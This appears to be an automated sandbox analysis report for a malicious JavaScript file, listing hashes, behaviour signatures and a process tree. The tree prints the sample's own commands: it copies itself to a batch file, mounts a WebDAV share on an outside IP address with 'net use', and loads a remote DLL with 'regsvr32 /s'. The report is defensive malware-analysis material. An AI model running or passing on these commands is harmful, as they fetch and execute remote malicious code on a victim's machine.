Analysis

  • max time kernel
    94s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 09:26

General

  • Target

    1651321677771123388.js

  • Size

    5KB

  • MD5

    fe888689f371e30f1de3e303dd7e4948

  • SHA1

    9e71c555998084fd550bff7c18355e7919ee7801

  • SHA256

    5bdd364af6cfba138072670e92afc2dd50d6c979f4bdb9f39c0f5fa893331577

  • SHA512

    4533b769d77fec1a5305d0a860551620d4a0ba9ea6b3655094971bcf5cf8203b3759f59a1ba472bb372917be0e77ba33db0370037545b1a4fd84fb4dcaf2a5fd

  • SSDEEP

    96:pt2s+rIEAoDyEMn4YYMV6YYKk+0vXYVZqDwv6qRRIwqhRTS2HRgkgS2HRX:f8rJAgapViYVZqHqYwqzYkgf

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1651321677771123388.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5108
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1651321677771123388.js" "C:\Users\Admin\\uwxqta.bat" && "C:\Users\Admin\\uwxqta.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2360
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:2432
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\994.dll
          3⤵
            PID:4800

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\uwxqta.bat

        Filesize

        5KB

        MD5

        fe888689f371e30f1de3e303dd7e4948

        SHA1

        9e71c555998084fd550bff7c18355e7919ee7801

        SHA256

        5bdd364af6cfba138072670e92afc2dd50d6c979f4bdb9f39c0f5fa893331577

        SHA512

        4533b769d77fec1a5305d0a860551620d4a0ba9ea6b3655094971bcf5cf8203b3759f59a1ba472bb372917be0e77ba33db0370037545b1a4fd84fb4dcaf2a5fd